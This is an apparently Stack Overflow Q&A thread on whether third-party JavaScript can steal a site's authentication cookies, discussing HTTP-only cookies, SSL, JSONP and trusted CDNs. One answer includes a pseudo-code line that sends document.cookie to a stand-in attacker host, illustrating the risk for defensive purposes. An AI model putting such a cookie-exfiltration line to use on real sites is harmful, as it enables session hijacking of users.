14

Meaning if I have a website and I link to a external .js file, say for jquery or some widget service, they can pretty easy just pull by authentication cookie and then login as me correct?

What if I am under SSL?

Blankman
  • 259,732
  • 324
  • 769
  • 1,199
  • 1
    If you are under SSL you should only link to external JS on SSL aswell otherwise visitors might get a warning. – the JinX Mar 15 '11 at 14:35
  • If this was true, every web site would be in grave danger – Josh Stodola Mar 15 '11 at 14:36
  • 4
    @Josh: It is true, unless the cookies are HTTP-only. – SLaks Mar 15 '11 at 14:36
  • @the JinX - True they'll get a warning, but its not necessarily less secure – m.edmondson Mar 15 '11 at 14:39
  • but can't they write .js code to access the cookie collection, and then simply send it off to their server? – Blankman Mar 15 '11 at 14:42
  • @Blank: Yes, except for HTTP-only cookies, which cannot be accessed by Javascript. – SLaks Mar 15 '11 at 14:54
  • And if you want to follow @the Jinx's advice without customizing all URIs for each protocol, use [protocol-relative paths](http://stackoverflow.com/questions/954327/hidden-features-of-html/960111#960111). –  Mar 15 '11 at 15:02
  • @SLaks Exactly. Authentication cookies that aren't HTTP only put you in grave danger. – Josh Stodola Mar 15 '11 at 17:20
  • If the authentication cookie is not a secure cookie, a man-in-the-middle can still intercept the next insecure request the user makes and grab the cookie. If that request is for a different site, the man-in-the-middle can *still* grab your insecure cookie by just redirecting to your site. This issue applies even if not using external .js files. – Brian Mar 16 '11 at 13:28

6 Answers6

22

If you include Javascript or JSONP code from another domain, that code has full client-side power and can do whatever it wants.
It can send AJAX requests to automatically make your user do things, and it can steal document.cookie.

If your authentication cookies are HTTP-only, it can't steal them, but it can still impersonate the user using AJAX.

Never include a JS file from a domain you don't trust.

If your page uses SSL, all Javascript files must also use SSL, or an attacker can modify the un-encrypted Javascript to do whatever he wants.
For this reason, browsers will show a security warning if an SSL page uses non-SSL resources.

Note that JSONP is no exception to this rule.
Any JSONP response has full access to your DOM.
If security is a concern, do not use untrusted JSONP APIs.

SLaks
  • 868,454
  • 176
  • 1,908
  • 1,964
  • what do you mean by the auth cookie being http-only? as oppose to? confused thanks! – Blankman Mar 15 '11 at 14:43
  • +1 Great answer. I want to only add that even if the cookies are http-only you still have a request forgery vulnerability with every untrusted external script and JSONP, or even every trusted external script and JSONP that is served over insecure HTTP. You can't send the cookies to your server but you can do everything the user can do on the website. – rsp Mar 15 '11 at 15:12
  • @rsp: Yes; that's what I meant in my second line. Clarified. – SLaks Mar 15 '11 at 15:15
  • @SLaks: You're right, I must have read it too fast. Then you're answer has nothing to add. Best regards. – rsp Mar 15 '11 at 15:32
  • +1 good answer. I would have said that this is like giving a specific website access to an xss vuln. – rook Mar 15 '11 at 20:37
  • @SLaks I am not sure if CDN providers have checks at their end if a submitted js files is original file or it contains some minified hidden jsonp callbacks. Most of the opensource frameworks even do not check for minified js files. It's like open door for getting everything. – Kapil Yadav Jul 12 '17 at 11:33
  • 1
    @kapilyadav: Now, you can use Subresource Integrity to prevent that. – SLaks Jul 12 '17 at 12:26
6

I can only agree with SLaks and Haochi (+1 and all).

It is extremely insecure and you should never do it even if you trust the domain. Don't trust the answers that tell you that this is not the case because they are just wrong.

This is why now literally all of the links to JavaScript libraries hosted on Google's CDN on the Developer's Guide to Google Libraries API are secure HTTPS links, even though encrypting all of that traffic means a huge overhead even for Google.

They used to recommend using HTTPS only for websites that use HTTPS themselves, now there are no HTTP links in the examples at all.

The point is that you can trust Google and their CDN, but you can never trust the local dns and routers in some poor schmuck's cafe from which your visitors may be connecting to your website and Google's CDN is a great target for obvious reasons.

Zed
  • 3,387
  • 19
  • 14
  • Why should you trust Google and their CDN? It's obvious that they can track every visitor on your page, collect all the data from all websites who don't self-host the libraries into a unique profile of you, and sell it to unknown 3rd parties for unknown prize. Why would they host the libraries for "free" otherwise? *hint* – Etan Apr 04 '16 at 18:49
2

It depends on what do you mean by "pull". As others have said here, cookies are only sent to where it is originated from. However, a third-party (with malicious intent) file, can still send your cookies back to their server by executing some JavaScript code like

// pseudo-code
cookie_send("http://badguy.tld/?"+document.cookies)

So, only include scripts from trusted sources (Google, Facebook, etc)

HChen
  • 2,141
  • 13
  • 12
  • 1
    In place of pseudo-code: `document.write('');` – Christian Mar 15 '11 at 14:51
  • Yes, but this answer is potentially very confusing. All javascript in the page can't make ajax calls to any site other than the origin of the page which is different that the src of the script tag. To send the cookie to an attacker's domain you'd have to do something like what Christian shows by adding an img tag to the document with the cookie encoded in the URL of its src, using JSONP, or iframes, to send the data back to a domain other than the page's domain. I think a lot of devs confuse page origin and url of script's src. – chubbsondubs Oct 29 '12 at 21:14
0

No, because cookies for your site will only be sent to your domain.

For example when your browser sees yoursite.com it will send the authentication cookie for yoursite.com. If it also has to make a different request for jquery (for the .js script) it won't send the cookie for yoursite.com (but it will send a jquery cookie - assuming one exists).

Remember every resource is a seperate request under HTTP.

m.edmondson
  • 30,382
  • 27
  • 123
  • 206
  • 2
    Read his question carefully next time. He specifically talked about JS on third-party servers, to which the answer is **"YES, that's awfully insecure"**. – Christian Mar 15 '11 at 14:49
0

I am not sure HttpOnly is fully supported across all browsers, so I wouldn't trust it to prevent attacks by itself.

If you're worried about a 3rd party attacker (i.e., not the site offering the JS file) grabbing the cookies, definitely use SSL and secure cookies.

If your page isn't running on SSL, using HttpOnly cookies doesn't actually prevent a man-in-the-middle attack, since an attacker in the middle can intercept the cookies regardless by just pretending to be your domain.

If you don't trust the host of an external .js file, don't use the external .js file. An external js file can rewrite the entire page DOM to ask for a CC to be submitted to anyone and have it look (to an average user) the same as your own page, so you're pretty much doomed if you're getting malicious .js files. If you're not sure if a .js host is trustworthy, host a copy of it locally (and check the file for security holes) or don't use it at all. Generally I prefer the latter.

In the specific case of JQuery, just use the copy on Google's CDN if you can't find a copy you like better.

Brian
  • 25,523
  • 18
  • 82
  • 173
  • Not just the average user. A good script can fool _anyone_, unless you use a network sniffer to watch the script send stolen data. – SLaks Mar 15 '11 at 21:50
-6

Cookies are domain specific, guarded by same origin policy.

AbiusX
  • 2,379
  • 20
  • 26
  • 1
    @AbiusX: your answer was voted down, because it gives a wrong impression. While strictly speaking it's correct, read the highest-voted answer an see what the problem is. Loading and executing arbitrary JavaScript from a third party site can be a huge security risk. – Joachim Sauer Mar 15 '11 at 16:11
  • if you read again you can see that the question is "they can steal my authentication cookie and login as me correct" and its not at all about third party script injection. :) – AbiusX Mar 15 '11 at 17:38
  • 1
    @AbiusX: Joachim did not say your answer was wrong or even that it does not cover the question. – Brian Mar 15 '11 at 19:50
  • Yes, and XSS is a way of subverting the Same Origin Policy. This is essentially what the OP is asking. – rook Mar 15 '11 at 20:35
  • It occurs to me that you guys just want to take others down. its totally ok with me ;) – AbiusX Mar 15 '11 at 21:29
  • 2
    @AbiusX: disclaimer: I did *not* vote down this answer, but I do understand why it was voted down. I think you misunderstand the meaning of a downvote. It's **not** a personal attack. It just means that the answer is not a good one at that point, for the reasons given above. – Joachim Sauer Mar 16 '11 at 07:24